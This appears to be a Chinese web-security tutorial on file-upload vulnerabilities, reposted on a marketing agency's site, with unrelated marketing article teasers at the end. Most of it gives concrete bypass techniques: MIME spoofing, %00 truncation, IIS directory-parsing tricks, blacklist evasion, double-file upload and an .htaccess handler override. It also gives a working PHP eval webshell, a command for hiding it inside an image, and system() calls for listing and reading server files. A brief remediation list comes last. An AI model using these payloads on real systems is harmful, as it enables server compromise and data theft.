推广

经典:WEB安全小白篇之文件上传漏洞剖析

iseeyu3年前 (2024-02-21)推广142

image.png

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输 data

2.2、服务器命名规则

第一种类型:上传文件名和服务器命名一致

第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)

2.3、常见的上传检测方式

1.客户端 javascript 检测 (通常为检测文件扩展名)

2.服务端 MIME 类型检测 (检测 Content-Type 内容)

3.服务端目录路径检测 (检测跟 path 参数相关的内容)

4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

5.服务端文件内容检测 (检测内容是否合法或含有恶意代码)

2.4、JS本地验证绕过

网站会采用白名单或者黑名单的形式限制文件上传的格式,当我们上传一个恶意文件文件时,会弹出窗口阻止,我们用burpsuite抓包,如果没有数据包,则代表网站用的上传验证是本地JS验证,在审查元素中仔细查看是可以发现允许上传文件或禁止上传文件的格式名称,我们添加或者删除就可以了。

把本地检测函数给去掉,如:ongubmit=”return checkfile()”

三、上传服务器端验证绕过
3.1、服务端检测绕过(MIME 类型检测)

MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。

web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

Tomcat的安装目录\conf\web.xml 中就定义了大量MIME类型 ,你可也去看一下。

绕过方法:

直接使用burp抓包,得到post上传数据后,将 Content-Type: text/plain改成 Content-Type: image/gif

就可以成功绕过。

3.2、服务端检测绕过(目录路径检测)

目录路径检测,一般就检测路径是否合法,可以利用目录路径绕过配合iis解析漏洞

image.png

在上传目录/后加上xx.asp/,这样就创建了一个xx.asp的目录,利用目录解析漏洞可以执行脚本。或者修改目录为/xx.asp;.,那么就上传了一个XX.ASP;.XX.JPG的文件 访问也是可以解析的,也可以进行目录截断,在目录后/xx.asp%00,选择%00点击ctrl+shift+U,然后上传进行截断,就上传了一个xx.asp脚本。

image.png

通过改变文件名称也可以绕过,比如上传一个文件名为xx.asp/xx.jpg文件,他也会创建一个xx.asp目录。

在上传脚本文件的时候,服务器没有对齐进行限制,但是在上传的目录上却没有执行的权限,可以在xx.asp前面加上../xx.asp 这样文件就上传到了他的上一级目录上,如果没有权限那么就一直返回,直到根目录下。

3.3、服务端检测绕过(文件扩展名检测)

3.3.1、检测的两种方式

1、黑名单检测

黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多 一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件例如 fckeditor 2.4.3 或之前版本的黑名单

2、白名单检测

白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

3.3.2、黑名检测绕过:

  1. 文件名大小写绕过

用像 AsP,pHp 之类的文件名绕过黑名单检测

  1. 名单列表绕过

用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

  1. 特殊文件名绕过

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

  1. 0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞,ctrl+shift+U

3.3.3绕过白名单

  1. 0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞,ctrl+shift+U

  1. 解析漏洞或者配合文件包含

3.3.4双文件上传

条件:

接受两个文件同时上传

只检测了第一个文件扩展名

动易、南方、良精等CMS存在该漏洞

用burpsuite抓包,然后将请求头部分下面的内容负责,开头为—–,结尾为———-

其他地方不用负责,然后粘贴到第一个文件结尾——-后面,把第二个文件开头——去掉

将第一个文件的name=xxxx修改为name=xxxx1,修改文件名为cer或者asa等即可上传成功

4、服务端检测绕过(文件内容检测)

二次渲染:将图片中不需要的内容进行过滤,留下图片最基本的内容,这样就把一句话代码给去掉了

WAF检查文件内容(阿里云、知道创宇、长亭科技等):将一句话中的标签给过滤等

将标签中的php去掉,变为<??>即可

四、漏洞高级玩法
4.1、.htaccess 文件攻击

通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”haha”这个字符串的 任意文件,所以无论文件名是什么样子,只要包含”haha”这个字符串,都可以被以 php 的方 式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很 多上传验证机制

建一个.htaccess 文件,里面的内容如下

<FilesMatch “haha”>

SetHandler application/x-httpd-php </FilesMatch>

同目录有个我们上传一个只有文件名并包含字符串”haha”,但是却无任何扩展名的文件 里面的内容是 php 一句话木马

4.2、表单提交按钮

有些上传界面只有浏览文件按钮,没有上传按钮,那么我们就要自己写一个上传按钮。用火狐浏览器选择上传框右键审查元素,然后编辑HTML,写上<input type=”gubmit”>

写入表单

<input type=”submit” value=”提交” name=”bb”>

4.3、制作图片马技巧

准备一张图片和一个空文本,然后空文本写入一句话木马,cmd输入命令 copy1.jpg/b+1.txt/a 2.jpg

将一句话木马内容与图片内容进行合并、

一句话:<?php @eval($_GET[‘cmd’]; ?> 密码cmd

可以使用菜刀连接或浏览器输入?cmd=phpinfo();

system(‘dir’); 可以爆网站目录

system(‘type d:\phpstudy\www\dvwa-1.9\php.ini’); 可以查看网站目录文件内容

\需要转译,而转译后是\,所以是\

五、上传漏洞修复:
1、设置上传文件大小和格式内容相匹配

2、存储目录执行权限

3、站库分离(存储目录与web分离)

4、文件上传后压缩重生成

扫描二维码推送至手机访问。

版权声明:本文由西安泽虎代运营发布,如需转载请注明出处。

转载请注明出处https://www.0291.com.cn/post/57612.html

相关文章

西安企业做百度推广,一个月花三千和花三万到底差在哪?

4|最近跟几个西安的老板聊天,发现一个挺有意思的现象:同样做百度推广,有人一个月花三千块,询盘不断;有人一个月砸三万,水花都没见着。问他们区别在哪,大多数人说不清楚,只知道'钱花了,没效果'。 5| 6|百度推广这东西,说复杂也复杂,说简单也简单。核心就一件事:让你的潜在客户搜某个词的时候,你的信息...

我想当策划,大学应该选什么专业?

我想当策划,大学应该选什么专业?

学,广告,传播,公关,这些专业其实都可以。另外也可以学像汉语言文学,以及一些跟文学相关的一些专业,会对你找工作有帮助。但是,你想从事这个这份职业,除了专业的学习之外,更多的是,你要在上学的时候积极参与一些更营销策划相关的社会实践。比如说你可以做一些兼职,比如说帮别人去写稿,...

服装市场营销策略分析,“定位不慎满盘皆输”

服装市场营销策略分析,“定位不慎满盘皆输”

不同的区域需要不同的策略,而不同的营销策略需要不同的销售思路来配合。因此,在研究女装产品销售思路之前,最好先对于市场与营销策略做一次深入地了解。1.市场区域化(market segmentation):目标营销的第一步,是将整个市场拆分成若干个同性质的小市场。2.目标市场的...

晚间悦读丨你的思维方式,决定你的人生高度!

晚间悦读丨你的思维方式,决定你的人生高度!

越长大,越发现,能够决定你人生高度的,往往是你的认知层次。 你的认知在哪个层级,你的人生就处在什么状态。你认知的高度,决定了你人生的高度。 那如何才能升级方式、提升认知能力呢?可以从这三个方面做出改变。 NO. 1 改变态度 有人...

编写项目营销策划方案六大要点

编写项目营销策划方案六大要点

现在商业发展非常迅速,的需求非常的大,但是要做好营销策划是有一定难度的,我把自己做营销策划的一些体会在这里分享给朋友们。营销策划方案六大要点我们先说项目营销策划方案这个话题。大部分的营销策划人都是在企业里工作,大部分项目之初都是来源于一个想法,创始人、老板或者创始团队的一个...

【商场营销策划】如何进行商场营销策划?

【商场营销策划】如何进行商场营销策划?

商场是策划者们关注的永恒话题,那么究竟该如何作好商场营销策划呢?掌握以下这几点营销策略设计原则,至关重要!1.义利兼顾的原则。商场在获取利润的同时要充分考虑到消费者的合法利益和商场的长远利益。在作商场活动营销策略方案的时候应该将这一点作为首要的原则。对商场有利而对顾客不利的...

现在,非常期待与您的又一次邂逅

我们努力让每一部企业宣传片和抖音短视频成为商业大片